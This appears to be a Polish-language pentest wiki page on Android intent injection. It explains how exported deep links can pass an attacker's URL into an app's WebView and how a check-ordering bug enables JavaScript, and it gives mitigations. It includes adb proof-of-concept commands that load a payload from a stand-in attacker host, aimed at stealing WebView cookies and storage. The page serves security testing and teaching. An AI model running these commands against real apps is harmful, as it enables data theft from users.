65 lines
3.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Intent Injection
{{#include ../../banners/hacktricks-training.md}}
Wstrzykiwanie intencji wykorzystuje komponenty, które akceptują Intencje kontrolowane przez atakującego lub dane, które są później przekształcane w Intencje. Dwa bardzo powszechne wzorce podczas pentestów aplikacji na Androida to:
- Przekazywanie stworzonych extras do eksportowanych Activities/Services/BroadcastReceivers, które są później przekazywane do uprzywilejowanych, nieeksportowanych komponentów.
- Wywoływanie eksportowanych VIEW/BROWSABLE głębokich linków, które przekazują URL-e kontrolowane przez atakującego do wewnętrznych WebView lub innych wrażliwych miejsc.
## Głębokie linki → WebView sink (wstrzykiwanie parametru URL)
Jeśli aplikacja udostępnia głęboki link z niestandardowym schematem, taki jak:
```text
myscheme://com.example.app/web?url=<attacker_url>
```
i odbierająca Aktywność przekazuje parametr zapytania `url` do WebView, możesz zmusić aplikację do renderowania dowolnej zdalnej treści w swoim kontekście WebView.
PoC za pomocą adb:
```bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Impact
- HTML/JS wykonuje się w profilu WebView aplikacji.
- Jeśli JavaScript jest włączony (domyślnie lub z powodu błędnie uporządkowanych sprawdzeń), możesz enumerować/używać wszelkich ujawnionych obiektów `@JavascriptInterface`, kraść ciasteczka WebView/lokalne przechowywanie i pivotować.
Zobacz także:
{{#ref}}
webview-attacks.md
{{#endref}}
## Błąd kolejności sprawdzeń umożliwiający JavaScript
Powtarzającym się błędem jest włączenie JavaScript (lub innych liberalnych ustawień WebView) przed zakończeniem ostatecznej listy dozwolonych adresów URL/weryfikacji. Jeśli wczesne pomocnicze funkcje akceptują twój głęboki link, a WebView jest skonfigurowane jako pierwsze, twoje ostateczne załadowanie odbywa się z już włączonym JavaScript, nawet jeśli późniejsze sprawdzenia są wadliwe lub zbyt późne.
Na co zwrócić uwagę w dekompilowanym kodzie:
- Wiele pomocniczych funkcji, które różnie analizują/dzielą/odbudowują URL (niespójna normalizacja).
- Wywołania `getSettings().setJavaScriptEnabled(true)` przed ostatnim sprawdzeniem listy dozwolonych hostów/ścieżek.
- Pipeline jak: analizuj → częściowa walidacja → konfiguruj WebView → ostateczna weryfikacja → loadUrl.
Mitigacje
- Kanonizuj raz i waliduj ściśle; kończ z błędem.
- Włączaj JavaScript tylko po przejściu wszystkich sprawdzeń i tuż przed załadowaniem zaufanej zawartości.
- Unikaj ujawniania mostów do niezaufanych źródeł.
## Inne klasyczne prymitywy wstrzykiwania Intent
- startActivity/sendBroadcast używając dostarczonych przez atakującego `Intent` extras, które są później ponownie analizowane (`Intent.parseUri(...)`) i wykonywane.
- Eksportowane komponenty proxy, które przekazują Intenty do nieeksportowanych wrażliwych komponentów bez sprawdzeń uprawnień.
## Referencje
- [Android Dostęp do komponentów chronionych aplikacji](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
- [Pwn2Own Ireland 2024 łańcuch ataków Samsung S24 (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
- [Film demonstracyjny](https://www.youtube.com/watch?v=LAIr2laU-So)
{{#include ../../banners/hacktricks-training.md}}